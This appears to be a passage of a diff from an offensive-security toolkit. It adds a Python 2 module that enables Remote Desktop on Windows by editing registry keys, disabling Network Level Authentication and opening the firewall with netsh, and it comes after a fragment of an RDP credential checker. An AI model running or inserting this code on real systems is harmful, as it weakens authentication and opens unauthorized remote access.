||||||
|
tls.close()
|
||||||
|
print "[+] Valid RDP credentials"
|
||||||
|
|
||||||
|
|
@ -0,0 +1,75 @@
|
||||||
|
from _winreg import *
|
||||||
|
import ctypes
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
def check_if_admin():
|
||||||
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||||
|
|
||||||
|
def setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
try:
|
||||||
|
aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
|
||||||
|
SetValueEx(aKey, regPath, 0, REG_DWORD, value)
|
||||||
|
CloseKey(aKey)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
|
||||||
|
aReg = ConnectRegistry(None, root)
|
||||||
|
|
||||||
|
if not setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
CloseKey(aReg)
|
||||||
|
return False
|
||||||
|
|
||||||
|
CloseKey(aReg)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def executeCmd(cmd):
|
||||||
|
command=['cmd.exe', '/c'] + cmd.split()
|
||||||
|
res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# info=subprocess.STARTUPINFO()
|
||||||
|
# info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
|
||||||
|
# info.wShowWindow=subprocess.SW_HIDE
|
||||||
|
# p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# results, _=p.communicate()
|
||||||
|
return res
|
||||||
|
|
||||||
|
def enable_rdp():
|
||||||
|
# enable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0):
|
||||||
|
# disable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0):
|
||||||
|
# adding a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=enable'
|
||||||
|
# cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP enabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to add new firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
def disable_rdp():
|
||||||
|
# disable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1):
|
||||||
|
# enable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1):
|
||||||
|
# removing a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=disable'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP disabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to remove the rdp firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# www.vladan.fr/multiple-rdp-sessions-on-windows/
|
||||||
Loading…
Reference in New Issue